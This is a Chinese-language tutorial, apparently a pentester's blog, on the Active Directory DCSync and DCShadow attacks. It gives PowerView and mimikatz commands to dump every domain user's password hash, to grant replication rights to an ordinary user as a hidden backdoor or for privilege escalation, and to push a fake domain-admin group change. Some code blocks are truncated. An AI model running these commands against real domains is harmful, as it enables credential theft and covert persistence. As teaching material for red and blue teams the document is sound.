DCSync和DCShadow攻击
DCSync原理
在 DCSync
技术没有出现之前,攻击者要想拿到域内用户的 hash
,就只能在域控制器上运行 Mimikatz
或 Invoke-Mimikatz
去抓取密码 hash
,但是在 2015
年 8
月份, Mimkatz
新增了一个主要功能叫 DCSync
,使用这项技术可以有效地 “模拟” 域控制器并从目标域控上请求域内用户密码 hash
。这项技术为当下域渗透提供了极大地便利,可以直接远程 dump
域内 hash
,另外也衍生出很多的攻击方式。
域控制器( DC
)是 Active Directory
( AD
)域的支柱,用于高效的管理域内用户,所以在企业当中,为了防止 DC
出现意外导致域内瘫痪,所以都是要布置多台域控作为 AD
域的备份,或者是部署多台域控制器,方便在站点位置本地提供身份验证和其他策略。当企业内网当做部署了多台域控制器后,一台域控进行了数据的更改之后,需要与其他域控进行数据的同步,而这个同步是通过Microsoft的远程目录复制服务协议 (MS-DRSR),该协议是基于MSRPC / DCE/RPC )进行的。并且其 DRS 的 Microsoft API 是DRSUAPI(这个在后面抓包可以看到)。。在不同域控制器( DC
)之间,每 15
分钟都会有一次域数据的同步。当一个域控制器( DC1
)想从其他域控制器( DC2
)获取数据时,DC1
会向 DC2
发起一个 GetNCChanges
请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync
就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
攻击前提条件
在域内用户所具有的权限其实最根本是看用户的 DACL
,那么对于 DCSync
攻击来说,只要域用户拥有以下三条 DACL
即可向域控发出数据同步请求,从而 dump
去域内用户 hash
,这三条 DACL
分别为:
1 | 复制目录更改(DS-Replication-Get-Changes) |
默认本地管理员、域管理员或企业管理员以及域控制器计算机帐户的成员默认具有上述权限,注意,默认情况下,
DCSync
攻击的对象如果是只读域控制器 (RODC
),则会失效,因为RODC
是不能参与复制同步数据到其他DC
的。
查询具有DCSync权限的用户
查询域内具有 DCSync
权限,其实就是查询域内用户的 ACL
,对比查询哪个用户拥有复制目录更改( DS-Replication-Get-Changes
)和全部复制目录更改 ( DS-Replication-Get-Changes-All
)两条 ACL
。
powershell
写法:
1 | Set-ExecutionPolicy Bypass -Scope Process |
cmd
写法:
1 | powershell.exe -exec bypass -command "&{Import-Module .\Powerview.ps1;Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match \"DS-Replication-Get-Changes\"}}" |
利用DCSync导出域内所有用户hash
使用 mimikatz
工具:
1 | # 导出test.local域内所有用户的Hash |
利用DCSync维持域内权限或者提权
利用一(维持权限):在获取域管理员权限后,攻击者可以手动为域内的普通用户添加 DCSync
操作的权限,从而实现更为隐蔽的后门。而根据前面提到的前提条件,可以知道添加 DCSync
权限就是要赋予用户 DS-Replication-Get-Changes
和 DS-Replication-Get-Changes-All
权限。
利用二(提权):或者如果发现当我们拿下了域内两个普通用户,而其中一个用户对另一个用户恰好具有 writeDacl
的权限,或者一个用户对自己有 writeDacl
权限,那我们就可以通过给一个普通用户添加 writeDacl
权限,然后在那个用户的机器上来进行 DCSync
攻击,从而获取到域管理员的 hash
,提权到域管理员。
具体的操作方式如下:
添加WriteDACL权限
这一步只是为了测试具有 WriteDACL
权限的情况。一般情况下是肯定不会出现可以自己添加 WriteDACL
权限的情况的。
手动在域控上执行:
1 | Import-Module .\PowerView.ps1 |
查看DACL权限
powershell
写法:
1 | Import-module .\PowerView.ps1 |
cmd
写法:
1 | powershell.exe -exec bypass -command "&{Import-module .\PowerView.ps1;Get-ObjectAcl -SamAccountName \"tom\" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like \"*dacl*\"}}" |
写入DCSync
powershell
写法:
1 | # 写入DCSync |
cmd
写法:
1 | powershell.exe -exec bypass -command "&{Import-module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity \"DC=test,DC=local\" -PrincipalIdentity tom -Rights DCSync -Verbose}" |
删除DCSync
powershell
写法:
1 | # 删除DCSync |
cmd
写法:
1 | powershell.exe -exec bypass -command "&{Import-module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=local\" -PrincipalIdentity tom -Rights DCSync -Verbose}" |
DCShadow介绍
2018年1月24日,Benjamin Delpy
(神器 Mimikatz
的作者)和 Vincent Le Toux
在 BlueHat
会议期间公布了针对域活动目录的一种新型攻击技术 DCShadow
。
在 具备域管理员权限条件下,攻击者可以 创建伪造的域控制器 ,将预先设定的对象或对象属性复制到正在运行域服务器中。
DCSync
从域服务器复制出东西,DCShadow
是将数据复制至域服务器。
Luc Delsalle
对这种技术进行了验证和详细的描述,并就红蓝对抗中蓝队对抗此种攻击技术的缺陷和补救方法。
从 DCShadow
目前展示的功能来看,主要只能用于红蓝对抗的隐蔽后门(因为一些操作需要域管权限,我们暂时只能有了域管权限才能使用 DCShadow
)。但是 DCShadow
第一次澄清和实现了伪造一个 DC
的最小需求合集,这个贡献非常大。以前很多攻击方法都卡在不能伪造域服务器,例如 MS15-011
和 MS15-014
等,有了 DCShadow
的基础,相信将来会有很多新的攻击方法。
DCShadow利用
利用 DCShadow
可以直接修改活动目录数据库中的对象。在域防护比较严格的情况下,可以通过 DCShadow
操纵 SID History
, Krbtgt
账户的密码,或将用户添加到特权组,以实现域权限持久化。
这里只做修改域控属性的示范,具体怎么实战利用以后再深入研究。
第一步:利用 PsTools
开启一个 system
权限的命令行窗口,然后执行 mimikatz
的命令,注意执行完后这个命令行窗口不要关。
1 | PsExec64.exe -i -s cmd.exe |
1 | lsadump::dcshadow /object:CN=user1,CN=Users,DC=test,DC=local /attribute:primaryGroupID /value:512 |
第二步:新开一个管理员权限的窗口,在 mimikatz
执行下面的命令,强制触发域复制,将数据更改推送至合法域控制器。
1 | lsadump::dcshadow /push |
如果顺利的话,这里就会发现 user1
这个用户的 primaryGroupID
被修改成了 512
。而这个值等于 512
就说明它被分到了域管理员组了,从而搭建了一个后门管理员账户。
但是不知道为什么我这里第二步执行失败了。